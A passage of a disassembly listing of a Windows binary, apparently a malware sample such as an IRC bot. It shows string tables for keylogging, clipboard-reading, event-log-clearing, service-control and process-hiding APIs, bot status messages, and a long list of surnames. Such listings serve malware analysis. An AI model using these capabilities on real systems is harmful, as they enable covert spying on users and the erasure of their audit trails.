sub_4098FD+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4098FD+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4098FD+494o align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_4098FD+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4098FD+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4098FD+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4098FD+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4098FD+453o align 10h aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4098FD+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4098FD+43Eo align 10h aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4098FD:loc_409D2Ao align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4098FD:loc_409D02o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4098FD+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4098FD+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4098FD+393o align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4098FD+386o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_4098FD+379o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4098FD+36Co align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4098FD+35Fo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4098FD:loc_409C54o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4098FD+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4098FD+31Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4098FD:loc_409C0Fo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4098FD+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4098FD+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4098FD+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4098FD+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4098FD+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4098FD+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4098FD+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4098FD+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4098FD:loc_409B5Co align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4098FD+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4098FD+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4098FD+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4098FD:loc_409AF5o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4098FD+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4098FD+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4098FD+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4098FD+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4098FD+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4098FD+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4098FD+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4098FD+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4098FD:loc_409A32o ; sub_424C88+Do align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4098FD:loc_409A05o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4098FD+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4098FD+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4098FD+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4098FD+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4098FD+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4098FD+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4098FD+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4098FD+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_4098FD+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4098FD+2Bo align 10h aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4098FD+23o align 10h aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4098FD+Ao align 10h unk_42D6D0 db 2Dh ; - ; DATA XREF: sub_40A5B9+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+28o align 4 a_: ; DATA XREF: sub_410330+24Do unicode 0, <.>,0 unk_42D860 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9DBo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 10h unk_42D890 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A9A9o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_42D8C0 db 2Dh ; - ; DATA XREF: sub_40A91C:loc_40A975o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D8E4 db 2Dh ; - ; DATA XREF: sub_40A91C+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A9FA+46o ; sub_40C29A+38o align 10h aReal db 'real',0 align 4 dd 0 dword_42D92C dd 0 ; DATA XREF: sub_40AE77+7o off_42D930 dd offset sub_40AAA0 ; DATA XREF: sub_40AE77+49r aConst db 'const',0 align 10h dd 1, 40AB0Ch, 7474656Ch, 7265h, 0 dd 2, 40AB6Ah, 706D6F63h, 2 dup(0) dd 3, 40ABB7h, 6E756F63h, 797274h, 0 dd 4, 40AC55h, 736Fh, 2 dup(0) dd 5, 40ACCAh, 6E6C6C61h, 6B6369h, 0 dd 6, 40AEE0h off_42D9AC dd offset aAbdulrazak ; DATA XREF: sub_40AAA0+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D9B8 dd offset aAddison ; DATA XREF: sub_40AE77+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset dword_430058 dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; 